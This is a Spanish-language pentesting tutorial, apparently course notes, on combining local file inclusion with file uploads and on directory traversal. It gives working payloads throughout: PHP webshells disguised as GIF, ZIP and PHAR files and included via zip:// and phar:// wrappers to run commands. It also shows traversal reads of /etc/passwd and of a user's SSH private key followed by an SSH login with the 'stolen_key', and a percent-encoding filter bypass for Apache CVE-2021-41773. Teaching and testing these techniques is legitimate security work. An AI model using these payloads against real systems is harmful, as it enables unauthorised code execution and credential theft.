LFI combinado con carga de archivos (File Uploads)
Cuando una aplicación permite subir archivos (imágenes de perfil, documentos, etc.) y además existe un LFI en algún otro punto, se puede combinar ambas debilidades para lograr ejecución remota de código: se sube un archivo que contiene código PHP disfrazado de un formato "seguro" (imagen, ZIP, PHAR), y luego se incluye ese archivo a través del LFI para que el intérprete de PHP lo ejecute.
Funciones vulnerables a inclusión, por lenguaje/framework
Antes de buscar un LFI, conviene identificar qué función de inclusión usa la tecnología del backend, ya que el patrón de explotación cambia según el lenguaje:
| Lenguaje/Framework | Función(es) típicamente vulnerable(s) |
|---|---|
| PHP | include(), include_once(), require(), require_once() |
| Node.js | res.render() (cuando renderiza una plantilla cuyo nombre proviene de input del usuario) |
| Java | Mecanismos de import/carga dinámica de clases (menos común como vector de LFI clásico, pero análogo en impacto) |
| .NET | Directivas include/Server.Execute() en páginas ASP/ASPX |
Carga de imagen maliciosa
Crear una "imagen" que en realidad contiene código PHP disfrazado con una cabecera de magic bytes de GIF (GIF8), para pasar validaciones superficiales de tipo de archivo:
❯ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifSubir el archivo a través del formulario correspondiente de la aplicación:
http://<SERVER_IP>:<PORT>/settings.phpIdentificar la ruta donde quedó almacenado el archivo subido (revisando el HTML de la página donde se muestra la imagen, por ejemplo el perfil de usuario):
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">Incluir el archivo subido a través del LFI para ejecutar el código PHP embebido:
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id- La validación de "magic bytes" (
GIF8,\xFF\xD8\xFFpara JPEG,\x89PNGpara PNG) solo comprueba los primeros bytes del archivo; el resto del contenido puede ser cualquier cosa, incluyendo código PHP, que se ejecutará igualmente si el archivo es incluido por el intérprete en vez de servido como una imagen estática. - Este vector requiere que el LFI apunte directamente al archivo con extensión
.gif/.jpg/.png(no le añade.php), ya que PHP ejecuta cualquier archivo incluido como código PHP independientemente de su extensión real — la extensión solo importa cuando el archivo se accede directamente vía el servidor web (que sí decide cómo servirlo según elContent-Typeasociado a la extensión).
Carga de ZIP con zip://
Empaquetar un webshell PHP dentro de un archivo con extensión de imagen, usando el formato ZIP:
❯ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php- El resultado (
shell.jpg) es en realidad un archivo ZIP válido con extensión.jpg, lo cual suele pasar validaciones de extensión de archivo (aunque no siempre pasa validaciones más estrictas deContent-Type/magic bytes, ya que la cabecera ZIP —PK\x03\x04— no coincide con ningún formato de imagen).
Subir el archivo, y luego incluirlo con el wrapper zip://, especificando el archivo interno con %23 (el carácter # URL-encoded):
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id- La sintaxis es
zip://<ruta al ZIP>#<archivo dentro del ZIP>. El símbolo#debe ir codificado como%23para que no se interprete como un fragmento de URL.
Carga de PHAR (phar://)
Los archivos PHAR (PHP Archive) son un formato propio de PHP para empaquetar aplicaciones completas, y también pueden abusarse de forma similar a un ZIP, con la ventaja de que el propio proceso de creación puede incluir metadatos que ayudan a evadir ciertas validaciones.
Crear el archivo PHAR malicioso:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Compilar el script anterior (requiere desactivar temporalmente la protección de solo lectura de PHAR) y renombrar el resultado con una extensión de imagen:
❯ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpgSubir el archivo e incluirlo con el wrapper phar://, usando %2F (el carácter / URL-encoded) para separar la ruta del archivo interno:
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id- A diferencia de
zip://(que usa#), el wrapperphar://usa/para referenciar el archivo interno, por lo que debe codificarse como%2Fpara no confundirse con la estructura normal de la ruta. $phar->setStub('<?php __HALT_COMPILER(); ?>')es obligatorio en la especificación del formato PHAR — sin un stub válido, PHP no reconocerá el archivo como un archivo PHAR válido al intentar incluirlo.
Resumen comparativo de vectores de carga
| Técnica | Wrapper/mecanismo | Cuándo usarla |
|---|---|---|
| Imagen con código embebido | Inclusión directa (sin wrapper) | Cuando la validación de subida solo comprueba magic bytes al inicio del archivo. |
| ZIP disfrazado de imagen | zip://archivo#interno | Cuando la validación es más estricta pero el LFI permite wrappers; requiere que zip esté disponible para crear el archivo. |
| PHAR disfrazado de imagen | phar://archivo/interno | Alternativa a ZIP; útil cuando zip:// está bloqueado o filtrado específicamente por el WAF/aplicación. |
Notas de explotación
- En todos los casos, primero hay que resolver la ruta correcta hacia el archivo subido a través del LFI — esto normalmente implica calibrar cuántos
../se necesitan o inspeccionar el HTML de la aplicación para confirmar la ruta exacta donde se almacenan los archivos subidos. - Si la aplicación renombra los archivos subidos con un nombre aleatorio/hash, puede ser necesario encontrar otro punto de la aplicación que revele ese nombre (mensajes de error, respuesta JSON de la subida, etc.) antes de poder referenciarlo en el LFI.
- Estas técnicas también aplican como alternativa cuando el log poisoning no es viable porque los logs del servidor no son legibles por el usuario bajo el que corre PHP.
Directory Traversal
Directory Traversal (o Path Traversal) es una vulnerabilidad que permite acceder a archivos fuera del directorio raíz de la aplicación web (webroot), aprovechando que la aplicación no sanitiza adecuadamente entradas que se usan para construir rutas de archivos. A diferencia de File Inclusion, Directory Traversal solo permite leer el contenido de un archivo — nunca ejecutarlo, incluso si el archivo es código fuente ejecutable (por ejemplo, un .php).
Rutas absolutas vs relativas
Para explotar las vulnerabilidades de esta familia, es indispensable entender la diferencia entre ambos tipos de ruta.
Rutas absolutas
Especifican la ruta completa del sistema de archivos, incluyendo todos los subdirectorios, empezando siempre desde la raíz (/ en Linux). Pueden usarse desde cualquier ubicación del sistema de archivos:
❯ pwd
/home/kali
❯ ls /
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
❯ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh- Al anteponer
/antes deetc, se referencia la ruta absoluta desde la raíz del sistema de archivos — funciona sin importar cuál sea el directorio de trabajo actual.
Rutas relativas
Se interpretan en relación al directorio de trabajo actual. ../ sube un nivel de directorio; se pueden encadenar múltiples secuencias para subir varios niveles:
❯ pwd
/home/kali
❯ ls ../
kali
❯ ls ../../
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var❯ ls ../../etc
adduser.conf debian_version hostname logrotate.d passwd
...
❯ cat ../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
...El número exacto de ../ solo importa hasta llegar a la raíz del sistema de archivos — a partir de ahí, ../ adicionales no tienen ningún efecto (no hay "más atrás" desde /):
❯ cat ../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
...- Esto es útil en la práctica cuando no se conoce el directorio de trabajo exacto de la aplicación vulnerable: usar una cantidad generosa de
../(por ejemplo, 10-12) garantiza llegar a la raíz sin importar la profundidad real del directorio de instalación.
Identificación y explotación
Para identificar candidatos a Directory Traversal, conviene inspeccionar cuidadosamente enlaces, botones y parámetros de la aplicación (revisando el código fuente cuando sea posible). Un enlace como el siguiente ya revela información valiosa:
https://example.com/cms/login.php?language=en.htmllogin.php: indica que la aplicación usa PHP.- El parámetro
languagetoma como valor un archivo (en.html) — cualquier parámetro que reciba un nombre de archivo como valor merece revisión cercana. cmsen la ruta indica que la aplicación corre dentro de un subdirectorio del webroot, no en la raíz.
Caso de estudio
Navegando por una aplicación web de ejemplo en http://webapp.local/app/index.php, se identifica un enlace "Admin" que apunta a index.php?page=admin.php. Al hacer clic, se recibe un mensaje "under maintenance" — importante, porque revela que la información se muestra dentro de la misma página (index.php incluye el contenido de admin.php). Confirmando directamente en webapp.local/app/admin.php se obtiene el mismo mensaje, sugiriendo que el parámetro page efectivamente incluye el contenido del archivo indicado.
Con esta hipótesis, se prueba path traversal hacia un archivo conocido del sistema:
http://webapp.local/app/index.php?page=../../../../../../../../../etc/passwd- Al confirmarse la lectura de
/etc/passwd, queda validada la vulnerabilidad.
De la lectura de /etc/passwd a acceso al sistema
/etc/passwd revela los directorios home de todos los usuarios del sistema. Dado que las claves SSH suelen ubicarse en ~/.ssh/ dentro del home de cada usuario, y que en despliegues con permisos mal configurados (frecuente por prisas de despliegue o programas de seguridad inmaduros) esos archivos pueden ser legibles por el usuario del servidor web:
http://webapp.local/app/index.php?page=../../../../../../../../../home/jsmith/.ssh/id_rsaEs preferible usar curl en vez del navegador para esta extracción, ya que el navegador puede reformatear/interpretar el contenido de forma que corrompa la clave:
❯ curl http://webapp.local/app/index.php?page=../../../../../../../../../home/jsmith/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
...- Copiar el bloque completo (desde
-----BEGINhasta-----END) a un archivo local, ajustar permisos, y conectar:
❯ chmod 400 stolen_key
❯ ssh -i stolen_key -p 2222 jsmith@webapp.local- El puerto SSH puede no ser el estándar (
22) en un entorno de laboratorio/prueba con múltiples servicios en el mismo host — confirmar el puerto correcto antes de conectar.
Directory Traversal en Windows
En Windows, el archivo equivalente a /etc/passwd para confirmar la vulnerabilidad (legible por todos los usuarios locales, sin revelar nada especialmente sensible) es:
C:\Windows\System32\drivers\etc\hostsA diferencia de Linux, no existe un vector directo equivalente de "leer /etc/passwd → obtener clave SSH → acceso al sistema" en Windows: no hay un archivo central que liste usuarios y sus directorios home de forma tan directamente explotable, y sin poder listar contenido de directorios (solo leer archivos conocidos), encontrar archivos sensibles requiere conocer de antemano la tecnología/framework en uso para deducir rutas típicas.
Rutas típicas a investigar según la tecnología identificada
Si se identifica IIS como servidor web:
C:\inetpub\logs\LogFiles\W3SVC1\ (logs de acceso)
C:\inetpub\wwwroot\web.config (configuración, a menudo con credenciales)Backslash como alternativa al forward slash
Windows usa backslash (\) para rutas de archivo nativamente. Aunque el RFC 1738 especifica que las URLs deben usar siempre forward slash, algunas aplicaciones en Windows solo son vulnerables usando ..\ en vez de ../ — probar ambas variantes sistemáticamente contra objetivos Windows.
Bypass mediante codificación de caracteres especiales
Cuando ../ es filtrado (por el servidor web, un WAF, o la propia aplicación) pero el filtro solo compara el texto plano, URL encoding (percent encoding) a menudo evade la detección:
Intento directo sin encoding, bloqueado:
❯ curl http://172.16.76.10/cgi-bin/../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>Codificando únicamente los puntos (. → %2e), el filtro que solo busca la cadena literal ../ no lo detecta:
❯ curl http://172.16.76.10/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...- Este es exactamente el patrón de explotación de CVE-2021-41773/CVE-2021-42013 (Apache 2.4.49/2.4.50): un path traversal en el manejador de
cgi-binque solo requiere codificar los puntos para evadir la validación de ruta normalizada que Apache aplicaba antes de decodificar. - Referencia de tabla de caracteres especiales para codificación manual: https://www.degraeve.com/reference/specialcharacters.php
La razón por la que esto funciona: el filtro de la aplicación (o del servidor/WAF delante de ella) inspecciona la cadena antes de decodificarla, mientras que el componente que finalmente resuelve la ruta en el sistema de archivos la decodifica primero — la representación codificada "engaña" al filtro sin cambiar el resultado final de la resolución de ruta.
Notas de metodología
- Confirmar siempre la vulnerabilidad con un archivo de bajo riesgo (
/etc/passwd,hostsen Windows) antes de intentar leer archivos potencialmente sensibles. - No asumir que un parámetro que recibe un archivo como valor es explotable solo por su nombre (
page,file,template,include) — confirmar empíricamente probando el path traversal antes de reportarlo. - Cuando el traversal funciona pero no revela nada explotable por sí solo (solo lectura, sin claves SSH accesibles), combinar un upload con un traversal en el nombre de archivo de destino puede permitir sobrescribir archivos críticos incluso sin lograr ejecución directa de código.